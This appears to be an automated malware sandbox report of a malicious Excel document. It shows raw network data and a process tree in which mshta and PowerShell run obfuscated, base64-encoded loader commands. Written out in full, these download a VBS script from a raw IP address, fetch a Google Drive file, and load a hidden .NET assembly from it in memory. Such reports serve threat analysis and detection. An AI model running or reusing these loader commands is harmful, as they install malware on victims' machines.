2024-10-25 17:47:11 UTC	1378	IN	Data Raw: 93 f7 c4 14 49 da 40 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a ea 53 53 2c 72 6d 0a b1 86 20 1e 7a fe 59 89 11 d7 6a 17 64 26 79 1a e8 90 cc 76 df c7 a0 ca b3 a3 43 24 b3 6a 7f 7b c0 45 ae 4d 77 bf 6c 67 c3 5e 72 fb 20 75 60 80 ca 55 ba 13 44 1f e7 81 53 a2 f1 b4 86 49 8c b3 20 4e 4a 89 da c8 fa 1c 57 45 ac f1 1d 44 a4 c5 aa 76 65 e4 Data Ascii: I@~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk>BDoGJp+m+{SS,rm zYjd&yvC$j{EMwlg^r u`UDSI NJWEDve
2024-10-25 17:47:11 UTC	1378	IN	Data Raw: b2 c6 e2 c0 b3 63 fa e0 66 d4 34 f3 16 51 42 c9 03 28 ac 03 31 65 dc 4f 7f 6c 06 e7 83 7e 99 69 cb 32 f7 6e ff 00 2c 5a 39 4a c0 e9 cd 9e 38 cd 24 4f 37 40 10 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 78 ee 01 6e c3 a6 0b f6 84 1a 2f da f4 cd 33 8d 41 69 34 c7 72 a8 51 b7 62 71 ed d3 bf 7b be 3a 66 ef d9 08 53 67 da 44 1a 69 62 f1 18 b4 4e 93 ab 23 16 45 43 10 29 60 05 03 d2 d4 a0 0a af 86 64 7d b5 d6 e9 b5 bf b4 81 3b 23 16 94 69 24 01 db 90 1a 28 d8 0e bf 1c 0d 1f da Data Ascii: cf4QB(1eOl~i2n,Z9J8$O7@Gl:'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#xn/3Ai4rQbq{:fSgDibN#EC)`d};#i$(
2024-10-25 17:47:11 UTC	1378	IN	Data Raw: 0e 51 21 52 69 af da f1 39 f6 b2 96 08 c5 98 50 be d8 58 85 a9 12 bb 31 f7 f6 c0 cc a1 66 dd e6 1f 2c f4 17 81 d1 2f 9b 09 2e a4 b0 e3 e9 8b 3a 3c 4c cd 1d 2a 91 cf 18 c3 29 58 5a 9c d9 3e 9f 96 1e 08 8c b0 82 dc af 42 47 38 19 e1 37 37 ac 6e 1e f8 64 2c ea 50 8b 5a e2 86 72 43 20 d6 98 ca 91 10 e6 f1 98 e2 02 56 0a 59 42 8b 23 df 01 78 b4 e9 01 ad a6 db b0 c3 47 a2 56 90 52 30 0d d6 fb 64 88 77 4d bc c8 dc 9e 06 3a 6d 23 01 59 b7 11 d7 02 87 46 9a 6b 23 93 d3 e9 81 56 57 0c 03 58 06 a8 8e 70 da 98 8b 4d 13 09 58 9a a2 07 f3 c4 91 36 ea 25 46 91 89 bf 4f 15 81 05 48 73 66 fe 99 59 d0 32 6d 65 e4 64 32 32 cc 41 73 f0 bc ba 5b 0d 92 1b 61 d0 d6 02 fa 7d 3a 39 3e 9f 52 f4 38 dc 6b 21 43 bb a8 e9 95 8c 04 52 43 10 df 2c 32 12 50 6d 66 2c 7a fc 30 2f 06 8d a6 Data Ascii: Q!Ri9PX1f,/.:<L*)XZ>BG877nd,PZrC VYB#xGVR0dwM:m#YFk#VWXpMX6%FOHsfY2med22As[a}:9>R8k!CRC,2Pmf,z0/
2024-10-25 17:47:11 UTC	1378	IN	Data Raw: 1a 88 d4 12 59 54 13 5b be 27 af c8 e2 ad b4 01 4a 40 bc d0 d5 13 ac 08 c8 d1 88 d5 76 ae f9 94 33 72 c4 96 05 ae c9 e4 7e 43 e2 b0 d3 48 83 99 74 f4 7b 79 e9 ff 00 ab 01 32 29 b9 26 8f b6 16 02 34 ee 25 08 c5 87 2a bb c8 03 e7 44 1f d7 0f f7 49 0c 77 be 02 4f ff 00 6f 4f fd 59 0d a4 95 63 16 d0 90 be d3 23 7e 81 b0 1a 86 59 f5 09 23 43 24 e1 4d 1d cd 2b 11 d0 58 15 c0 b3 fe 20 46 44 5a 83 3b 14 59 a6 89 55 50 bb b4 cc 6c d8 56 ef d3 93 f9 7b 62 09 a7 96 48 77 a3 42 01 3c dc aa a4 8f 88 2c 32 1f 49 22 a9 25 a1 20 2e ea 12 27 4f a3 73 80 ea 99 bc a5 f3 1a 44 2e 18 28 69 18 f2 0a f5 00 93 5c 9e dd 33 33 5c 85 67 60 58 b1 e2 d9 9a cf f7 af 9e 73 bb 36 9c 21 24 aa 12 47 3c 73 5f 9e 2c 78 04 0b a3 c9 27 02 83 83 9a be 16 e9 1c 52 33 90 29 81 e7 e5 99 4a 2c e6 Data Ascii: YT['J@v3r~CHt{y2)&4%*DIwOoOYc#~Y#C$M+X FDZ;YUPlV{bHwB<,2I"% .'OsD.(i\33\g`Xs6!$G<s_,x'R3)J,
2024-10-25 17:47:11 UTC	1378	IN	Data Raw: f0 1a af 0a 7d 3c 28 c5 9a 49 e5 7f c2 ab ba 8d 73 df 03 23 cb 74 9c 30 7b 46 1e a5 6e c7 e1 84 49 e5 8c 32 a3 6d 0c a5 58 fb 8b bc 31 d3 ba 30 66 46 a2 0d 6e 15 5d bf a6 09 d8 19 02 81 47 df 03 d0 7d 9e 56 6d 0b d3 6d 01 ec 1f a5 62 bf 68 55 9b 57 a7 0d d7 6f 1f 1f 56 5b c2 35 03 45 0c 9e 71 db 16 e5 36 db af 9b 1c 7e 78 2f 13 d4 47 ac d4 c6 da 76 de 11 4a 9d bb ab df db 03 d0 1d eb a5 2a 59 98 85 6f c5 db e1 9e 7f ec d0 65 9a 72 39 f4 0f e7 9a e7 59 12 e9 49 97 74 67 98 d4 10 c6 cd 7b 7d 33 27 c1 b7 e9 27 73 22 32 ab a8 16 55 b9 eb d0 56 03 3e 3f a7 f3 60 13 85 f5 44 68 ff 00 ba 7f eb 97 d0 f8 ac 6b e1 db a4 3c c4 84 f4 27 75 76 c7 27 96 07 86 45 91 c4 6a ca 08 69 01 0a 77 03 c0 be a7 8c f1 c2 45 86 52 a5 4b c5 7c 7a a8 10 3e 38 1e 8f 45 71 81 23 bb 7d Data Ascii: }<(Is#t0{FnI2mX10fFn]G}VmmbhUWoV[5Eq6~x/GvJ*Yoer9YItg{}3''s"2UV>?`Dhk<'uv'EjiwERK\|z>8Eq#}
2024-10-25 17:47:11 UTC	1378	IN	Data Raw: cb ea 1c 74 00 05 ac 0c 9f b3 cc 90 78 d7 da 68 22 d6 ab 38 f0 89 e4 9e 58 dc c8 a1 d4 44 ad d4 72 c4 ee 2c 47 16 c2 bb 67 8a fb 55 10 93 ed ee 9b 50 24 0b 1c c9 a2 0a c1 83 32 8f 22 1f 51 5f c4 07 3d c6 6b 7d 84 d4 3e 8b c6 3e d6 46 92 42 d1 a7 83 6a 9c 79 60 fa 76 95 3b 41 20 1e fc e6 27 db 14 0d f6 bd 1c 39 15 a7 d1 15 63 dc 7d de 2a c0 f4 9f b5 e9 e4 66 fb 3d e6 24 b1 ca 9a 3d 92 ab 22 a8 0d b5 18 f0 39 1c b5 73 ed 9f 39 d3 40 41 2e 25 da c3 e1 9f 58 fd b3 cb a6 6f 1d f0 5d 3e a6 49 04 50 a3 89 5d 41 69 0f 0a 68 02 40 ff 00 47 3e 63 19 73 11 0b 11 65 00 0e 08 04 1b e8 6b eb 80 16 49 4a b2 79 a5 95 81 06 85 60 df 46 15 81 f3 38 35 7e 95 be 3e 39 a4 c9 b9 76 15 28 d5 dc 7f 5c 4e 73 e4 05 56 91 c5 9a e2 bf b6 05 f4 30 9f 35 9c 92 39 b5 0d 44 9b f9 65 f5 Data Ascii: txh"8XDr,GgUP$2"Q_=k}>>FBjy`v;A '9c}*f=$="9s9@A.%Xo]>IP]Aih@G>csekIJy`F85~>9v(\NsV059De
2024-10-25 17:47:11 UTC	1378	IN	Data Raw: c0 1d b0 d0 a2 e9 d0 24 67 8e a4 62 b1 6a 36 30 0e 9b bb 59 ca c9 29 56 2c ad c9 e8 30 0c 1d 9a 6a 0e a2 8d 73 91 3f 98 ac a4 b2 d0 3e aa 1d 46 26 67 31 a3 3c 8a a3 6f 37 8a 68 7c 54 6a f5 6e a1 58 93 d2 ff 00 0e 06 b1 71 e6 86 14 01 e3 35 1a 26 01 02 90 40 51 98 a6 46 ad a5 68 8f 61 8f 47 3b be 94 12 18 38 e2 fb d6 03 ee 8a 40 e5 77 03 57 ed 99 72 41 73 19 59 82 95 36 6c f1 8d 39 91 62 57 03 e2 d7 94 79 b7 46 43 42 ac 08 a6 e7 00 12 a4 72 c2 35 01 d6 ec f4 c5 11 d9 e4 6d cc 09 19 da 9d f3 41 22 44 16 26 2a 55 6b b6 28 35 02 2d 54 7a 5a b7 65 b2 c7 e0 30 0b a9 94 45 a9 44 67 1b 4f 38 ea ea 12 29 46 c2 b5 fc 40 e2 7a bd 3a 4e ea d2 2a 8d b5 cd e5 e0 81 5d 4c c4 86 8f a5 8c 0d b6 d5 a0 d3 f9 88 a1 56 bf 2c cc 96 68 e6 f5 07 52 4f c7 13 f1 2d 54 ef a0 91 74 Data Ascii: $gbj60Y)V,0js?>F&g1<o7h\|TjnXq5&@QFhaG;8@wWrAsY6l9bWyFCBr5mA"D&Uk(5-TzZe0EDgO8)F@z:N]LV,hRO-Tt

Target ID:	0
Start time:	13:46:05
Start date:	25/10/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fcc0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	13:46:29
Start date:	25/10/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f440000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:46:33
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"
Imagebase:	0x13f230000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:46:36
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt
Imagebase:	0x13f230000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:46:39
Start date:	25/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline"
Imagebase:	0x13f9f0000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:46:39
Start date:	25/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES19C8.tmp" "c:\Users\user\AppData\Local\Temp\f2dj0ncr\CSC6208178C473A4F0793DCFE56B934F534.TMP"
Imagebase:	0x13fe00000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:46:49
Start date:	25/10/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f950000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:46:51
Start date:	25/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS"
Imagebase:	0xff620000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:46:51
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x13f230000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	13:46:54
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"
Imagebase:	0x13f230000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 1372, Parent PID: 3000

General

Target ID:	17
Start time:	13:46:54
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Imagebase:	0x13f230000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:46:57
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt
Imagebase:	0x13f230000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 1520, Parent PID: 2276

General

Target ID:	21
Start time:	13:46:58
Start date:	25/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.cmdline"
Imagebase:	0x13f8f0000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:46:59
Start date:	25/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6651.tmp" "c:\Users\user\AppData\Local\Temp\al22exsj\CSC903F5E3F8DB7424CB84D15F933E11EB7.TMP"
Imagebase:	0x13f2d0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:47:03
Start date:	25/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS"
